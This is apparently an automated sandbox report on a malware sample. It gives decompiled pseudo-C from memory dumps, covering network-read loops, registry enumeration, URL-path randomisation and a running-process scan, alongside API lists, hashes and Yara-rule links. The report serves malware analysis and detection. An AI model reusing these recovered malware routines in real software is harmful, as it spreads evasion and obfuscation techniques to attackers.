Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 1d57b6cbfd0fadca9ef0a2bacfb08ffc036b8e0fe1c420ff19b76ae71e2b4704
Instruction ID: 3afcea03d0bcc25dd8a8feeb84ce8b6a141da3ea8744002a02706accc1ac7697
Opcode Fuzzy Hash: 1d57b6cbfd0fadca9ef0a2bacfb08ffc036b8e0fe1c420ff19b76ae71e2b4704
Instruction Fuzzy Hash: 38416C71900204BBDB21AFA2DCC8E5B7BBEEF85784B10496EF54291090E735A985DE70

Uniqueness

Uniqueness Score: -1.00%

Function 041815FF, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E041815FF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0x418d134() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x418d164(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E0418A71F(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0x418d134() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E04185646( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E0418A734(_v16);
										if(_t64 == 0) {
											_t64 = E041870CC(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E04185646( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E04189242(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x041815ff
0x04181600
0x04181606
0x04181611
0x04181611
0x04181613
0x041818e7
0x041818ec
0x041818ee
0x041818f3
0x041818f4
0x041818f9
0x041818fa
0x04181905
0x04181936
0x0418193b
0x041819fe
0x04181941
0x04181948
0x04181950
0x041819fb
0x04181956
0x0418195b
0x04181960
0x04181965
0x041819ed
0x0418196b
0x0418196b
0x0418196d
0x04181973
0x04181974
0x04181974
0x04181977
0x0418197a
0x04181980
0x04181985
0x04181986
0x0418198b
0x0418198e
0x04181999
0x00000000
0x00000000
0x041819a1
0x041819a9
0x041819b5
0x041819b9
0x041819bb
0x041819c0
0x00000000
0x00000000
0x041819c0
0x041819b9
0x041819d2
0x041819d5
0x041819dc
0x041819e7
0x041819e7
0x00000000
0x041819c2
0x041819c2
0x041819c7
0x041819c9
0x041819ca
0x041819cd
0x00000000
0x041819cd
0x00000000
0x041819c7
0x04181974
0x041819ee
0x041819ee
0x041819f4
0x041819f4
0x04181950
0x04181907
0x0418190d
0x04181915
0x0418192e
0x04181930
0x00000000
0x00000000
0x04181917
0x04181921
0x04181925
0x0418192b
0x00000000
0x0418192b
0x04181925
0x04181915
0x04181a07
0x04181608
0x04181608
0x0418160f
0x0418161a
0x00000000
0x00000000
0x00000000
0x0418160f

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,751881D0), ref: 041818EE
GetLastError.KERNEL32(?,?,?,00000000,751881D0), ref: 04181907
ResetEvent.KERNEL32(?), ref: 04181980
GetLastError.KERNEL32 ref: 0418199B

Part of subcall function 04189242: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 04189259
Part of subcall function 04189242: SetEvent.KERNEL32(?), ref: 04189269

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: ec0f977009ee209cc1976a95d2c760e758f2653091dae6dad22d270bb93113e9
Instruction ID: 136349de42c2fa86e02f3d8c670025656100f72cb606402aea282d016fd7f28d
Opcode Fuzzy Hash: ec0f977009ee209cc1976a95d2c760e758f2653091dae6dad22d270bb93113e9
Instruction Fuzzy Hash: D141D133A00604FBDB21AFA5DCC4BAA73BAEF84254F11056CE15593180EB70F9428F50

Uniqueness

Uniqueness Score: -1.00%

Function 0418A446, Relevance: 6.1, APIs: 4, Instructions: 98
registrysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0418A446(void* __ecx, intOrPtr _a4) {
				int* _v8;
				int _v12;
				int* _v16;
				int _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				char* _t35;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t53 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32);
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E0418A71F(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32);
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_v12 = 0x104;
					_t53 = RegEnumKeyExA(_v32, _v8, _v28,  &_v12, 0, 0, 0, 0);
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E0418A734(_v28);
							goto L17;
						}
						_t53 = E0418853F(_t51, _v32, _v28, _v24, _v12,  &_v8, _a4);
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E0418A734(_v24);
						_v20 = _v16;
						_t47 = E0418A71F(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x418d26c, 0) == 0x102);
				goto L16;
			}

0x0418a446
0x0418a460
0x0418a463
0x0418a466
0x0418a469
0x0418a472
0x0418a476
0x0418a550
0x0418a554
0x0418a554
0x0418a47f
0x0418a486
0x0418a48b
0x0418a490
0x0418a545
0x0418a548
0x00000000
0x0418a54e
0x0418a496
0x0418a499
0x0418a4a0
0x0418a4aa
0x0418a4b9
0x0418a4c1
0x0418a4f9
0x0418a533
0x0418a539
0x0418a53b
0x0418a53b
0x0418a53d
0x0418a540
0x00000000
0x0418a540
0x0418a513
0x0418a517
0x00000000
0x00000000
0x00000000
0x0418a517
0x0418a4c6
0x0418a4d5
0x00000000
0x00000000
0x0418a4da
0x0418a4e3
0x0418a4e6
0x0418a4eb
0x0418a4f0
0x0418a4cb
0x0418a4cb
0x00000000
0x0418a4cb
0x0418a4f4
0x00000000
0x0418a4f4
0x0418a4c8
0x00000000
0x0418a519
0x0418a526
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,00000000,00000000,?,?,?,?,?,04183741,?), ref: 0418A46C

Part of subcall function 0418A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04185595), ref: 0418A72B

RegEnumKeyExA.ADVAPI32(?,?,?,04183741,00000000,00000000,00000000,00000000,00000104,00000000,?,?,?,?,?,04183741), ref: 0418A4B3
WaitForSingleObject.KERNEL32(00000000,?,?,?,04183741,?,04183741,?,?,?,?,?,04183741,?), ref: 0418A520
RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04183741,?,?,?,?,041852AA,?,00000001), ref: 0418A548

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateCloseEnumHeapObjectOpenSingleWait
String ID:
API String ID: 3664505660-0
Opcode ID: 4c7aae44d20fd27809140faa0f08b5354ad4316cb3f1639a4d8508eac5b9fdde
Instruction ID: f8a711ba21b81a2a54eec4ab56061f244cb6c446348d24316b6c822792dfd167
Opcode Fuzzy Hash: 4c7aae44d20fd27809140faa0f08b5354ad4316cb3f1639a4d8508eac5b9fdde
Instruction Fuzzy Hash: F5314972D00219EBDF21BFA5E8848EEFBB9EF84790F20446BE511B2150D3756A809F90

Uniqueness

Uniqueness Score: -1.00%

Function 04189242, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04189242(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x418d13c; // 0x418abf1
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E0418A71F(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E0418A734(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04185646( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x04189242
0x04189242
0x0418924c
0x04189252
0x04189255
0x04189259
0x0418925f
0x04189264
0x0418927d
0x04189280
0x04189284
0x04189288
0x04189289
0x0418928e
0x04189291
0x04189298
0x0418929f
0x041892f2
0x041892f8
0x041892fe
0x04189339
0x0418933f
0x00000000
0x00000000
0x00000000
0x041892fe
0x041892a5
0x00000000
0x041892ac
0x041892ba
0x041892bd
0x041892c0
0x041892cc
0x041892d0
0x04189332
0x041892d2
0x041892d5
0x041892d9
0x041892da
0x041892db
0x041892dd
0x041892e4
0x04189322
0x0418932d
0x041892e6
0x041892e9
0x041892ed
0x041892ed
0x041892e4
0x00000000
0x041892d0
0x041892a5
0x04189269
0x0418926f
0x04189272
0x04189277
0x00000000
0x00000000
0x00000000
0x04189307
0x0418930f
0x04189314
0x04189317
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 04189259
SetEvent.KERNEL32(?), ref: 04189269
GetLastError.KERNEL32 ref: 041892F2

Part of subcall function 04185646: WaitForMultipleObjects.KERNEL32(00000002,0418A8E3,00000000,0418A8E3,?,?,?,0418A8E3,0000EA60), ref: 04185661

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

GetLastError.KERNEL32(00000000), ref: 04189327

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 18623d7e1f3a4d0b0174d38ab695f741d17c981b3bd4dd2fa6a3a6eb1669d518
Instruction ID: eb496ebaa49ab5b96e5f4ed06c4fe232aebfd5c0438680c6bc7b50f4c3a7edb9
Opcode Fuzzy Hash: 18623d7e1f3a4d0b0174d38ab695f741d17c981b3bd4dd2fa6a3a6eb1669d518
Instruction Fuzzy Hash: 2B3112B5900309EFDB21EFE5D9C49AEB7B8EF08344F1049AEE542E2250D735BA449F60

Uniqueness

Uniqueness Score: -1.00%

Function 04188BC1, Relevance: 6.1, APIs: 4, Instructions: 80
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04188BC1(int _a4, int _a8, void* _a12, short* _a16, char** _a20, intOrPtr* _a24) {
				intOrPtr* _t38;
				char* _t42;
				long _t43;

				if(_a4 == 0) {
					L2:
					_t43 = RegOpenKeyW(_a8, _a12,  &_a12);
					if(_t43 == 0) {
						RegQueryValueExW(_a12, _a16, 0,  &_a8, 0,  &_a4);
						if(_a4 == 0) {
							_t43 = 0xe8;
						} else {
							_t42 = E0418A71F(_a4);
							if(_t42 == 0) {
								_t43 = 8;
							} else {
								_t43 = RegQueryValueExW(_a12, _a16, 0,  &_a8, _t42,  &_a4);
								if(_t43 != 0) {
									E0418A734(_t42);
								} else {
									 *_a20 = _t42;
									_t38 = _a24;
									if(_t38 != 0) {
										 *_t38 = _a4;
									}
								}
							}
						}
						RegCloseKey(_a12);
					}
					L12:
					return _t43;
				}
				_t43 = E04188B1C(_a4, _a8, _a12, _a16, _a20, _a24);
				if(_t43 == 0) {
					goto L12;
				}
				goto L2;
			}

0x04188bcd
0x04188bf0
0x04188c00
0x04188c04
0x04188c1c
0x04188c21
0x04188c69
0x04188c23
0x04188c2b
0x04188c2f
0x04188c66
0x04188c31
0x04188c43
0x04188c47
0x04188c5d
0x04188c49
0x04188c4c
0x04188c4e
0x04188c53
0x04188c58
0x04188c58
0x04188c53
0x04188c47
0x04188c2f
0x04188c71
0x04188c71
0x04188c78
0x04188c7e
0x04188c7e
0x04188be6
0x04188bea
0x00000000
0x00000000
0x00000000

APIs

RegOpenKeyW.ADVAPI32(80000002,04B29B66,04B29B66), ref: 04188BFA
RegQueryValueExW.ADVAPI32(04B29B66,?,00000000,80000002,00000000,00000000,?,0418861E,3D0418C0,80000002,04183741,00000000,04183741,?,04B29B66,80000002), ref: 04188C1C
RegQueryValueExW.ADVAPI32(04B29B66,?,00000000,80000002,00000000,00000000,00000000,?,0418861E,3D0418C0,80000002,04183741,00000000,04183741,?,04B29B66), ref: 04188C41
RegCloseKey.ADVAPI32(04B29B66,?,0418861E,3D0418C0,80000002,04183741,00000000,04183741,?,04B29B66,80000002,00000000,?), ref: 04188C71

Part of subcall function 04188B1C: SafeArrayDestroy.OLEAUT32(00000000), ref: 04188BA4

Part of subcall function 0418A734: RtlFreeHeap.NTDLL(00000000,00000000,04185637,00000000,?,?,00000000), ref: 0418A740

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: QueryValue$ArrayCloseDestroyFreeHeapOpenSafe
String ID:
API String ID: 486277218-0
Opcode ID: 1d47ed45958c83ae1ee5eca87387456d72043176dce728b8796459bfcacbf24e
Instruction ID: 1a811fd25f4cdca530d183fb0693b462bfdca6ffbc9ec100917c7155e0d409c5
Opcode Fuzzy Hash: 1d47ed45958c83ae1ee5eca87387456d72043176dce728b8796459bfcacbf24e
Instruction Fuzzy Hash: 6C21197210125EAFDF11BE94DCC08EE7BA9FB18294B45807EFA1497120D732AD659F90

Uniqueness

Uniqueness Score: -1.00%

Function 041817E5, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E041817E5(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x418d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x418d250; // 0x40c1b9ce
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x418d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x041817ed
0x041817f0
0x041817f6
0x0418180e
0x04181810
0x04181815
0x04181817
0x0418181a
0x0418181c
0x0418181f
0x04181821
0x04181821
0x04181823
0x0418182e
0x04181833
0x04181844
0x0418184c
0x04181851
0x04181854
0x04181857
0x04181859
0x0418185c
0x0418185f
0x0418185f
0x04181862
0x0418186d
0x04181872
0x0418187c

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04181C49,00000000,?,?,041820C2,?,04B295B0), ref: 041817F0
RtlAllocateHeap.NTDLL(00000000,?), ref: 04181808
memcpy.NTDLL(00000000,?,-00000008,?,?,?,04181C49,00000000,?,?,041820C2,?,04B295B0), ref: 0418184C
memcpy.NTDLL(00000001,?,00000001), ref: 0418186D

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 00b1ae0a6a2808179fabb364b6f33748befa1db0348ffff573998a87b5c30afa
Instruction ID: c4819c0155528ac203a96eed071c2ba5bcc645964f3d50daf9a5eb980c884caf
Opcode Fuzzy Hash: 00b1ae0a6a2808179fabb364b6f33748befa1db0348ffff573998a87b5c30afa
Instruction Fuzzy Hash: A7110A72A00218BFD3109B69DC84E9E7BFADB81260B0501B9F5059B150E7749D4087A0

Uniqueness

Uniqueness Score: -1.00%

Function 0418A65C, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0418A65C() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x418d2a8; // 0x99a5a8
						_t2 = _t9 + 0x418ee34; // 0x73617661
						_push( &_v264);
						if( *0x418d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0418a667
0x0418a671
0x0418a675
0x0418a67f
0x0418a6b0
0x0418a686
0x0418a68b
0x0418a698
0x0418a6a1
0x0418a6b8
0x0418a6a3
0x0418a6ab
0x00000000
0x0418a6ab
0x0418a6b9
0x0418a6ba
0x00000000
0x0418a6ba
0x00000000
0x0418a6b4
0x0418a6c0
0x0418a6c5

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0418A66C
Process32First.KERNEL32(00000000,?), ref: 0418A67F
Process32Next.KERNEL32(00000000,?), ref: 0418A6AB
CloseHandle.KERNEL32(00000000), ref: 0418A6BA

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 456b17e4c2dbcfe9024b073d06cf2efffe6dd5fe3debf71cba0c182a3b137cd5
Instruction ID: 06bb23c2a5ade2918f638908705bdd89de7a026bd8322461ebbd96c718dc06a0
Opcode Fuzzy Hash: 456b17e4c2dbcfe9024b073d06cf2efffe6dd5fe3debf71cba0c182a3b137cd5
Instruction Fuzzy Hash: 87F0BB366011146BE721BA669CC8DDB776CEFC5354F11019EE505D3144FB24E9868EB1

Uniqueness

Uniqueness Score: -1.00%

Function 04186840, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04186840(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x0418684a
0x0418684e
0x04186863
0x04186865
0x0418686a
0x04186870
0x04186872
0x04186877
0x04186882
0x04186879
0x04186879
0x04186879
0x04186877
0x04186890

APIs

memset.NTDLL ref: 0418684E
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,751881D0), ref: 04186863
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 04186870
CloseHandle.KERNEL32(?), ref: 04186882

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: a8461a6c28c6037d4dc92f4b976df83f8e3ef2d19534c6e672dba40dd509456a
Instruction ID: e474f147ca6f0e44f383c8c6f4520cb78b664a1450d891ef6b20234e56904336
Opcode Fuzzy Hash: a8461a6c28c6037d4dc92f4b976df83f8e3ef2d19534c6e672dba40dd509456a
Instruction Fuzzy Hash: B7F05EF114430C7FD3106F26DCC4C27BBACEB9229DB114A2EF14682511D776A8498E70

Uniqueness

Uniqueness Score: -1.00%

Function 04181B42, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04181B42() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x418d26c; // 0x2c4
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x418d2bc; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x418d26c; // 0x2c4
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x418d238; // 0x4730000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x04181b42
0x04181b49
0x04181b93
0x04181b95
0x04181b95
0x04181b4d
0x04181b53
0x04181b58
0x04181b5c
0x04181b62
0x04181b69
0x00000000
0x00000000
0x04181b6b
0x04181b70
0x00000000
0x00000000
0x00000000
0x04181b70
0x04181b72
0x04181b7a
0x04181b7d
0x04181b7d
0x04181b83
0x04181b8a
0x04181b8d
0x04181b8d
0x00000000

APIs

SetEvent.KERNEL32(000002C4,00000001,04184F0E), ref: 04181B4D
SleepEx.KERNEL32(00000064,00000001), ref: 04181B5C
CloseHandle.KERNEL32(000002C4), ref: 04181B7D
HeapDestroy.KERNEL32(04730000), ref: 04181B8D

Memory Dump Source

Source File: 00000005.00000002.494099778.0000000004181000.00000020.00000001.sdmp, Offset: 04180000, based on PE: true

Associated: 00000005.00000002.494074225.0000000004180000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494137139.000000000418C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.494169135.000000000418D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.494176651.000000000418F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 540944d74204005744280ac65ecdb8bbfa7829b68060a099728bf57aebc22eb4
Instruction ID: ff9d39ceacb382a7bbf65756b501b8bb7976444d0feb9e1a73a97fb9080fbc18
Opcode Fuzzy Hash: 540944d74204005744280ac65ecdb8bbfa7829b68060a099728bf57aebc22eb4
Instruction Fuzzy Hash: 75F03776601311A7E7107B77FC88E5637A9EB447A1708065CB814D76D0FB38DCC19AB4

Uniqueness

Uniqueness Score: -1.00%

Function 041823F4, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E041823F4(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x418d32c; // 0x4b295b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x418d32c; // 0x4b295b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x418d030) {
					HeapFree( *0x418d238, 0, _t8);
				}
				_t14[1] = E0418486F(_v0, _t14);
				_t11 =  *0x418d32c; // 0x4b295b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x041823f4
0x041823f4
0x041823fd
0x0418240d
0x0418240d
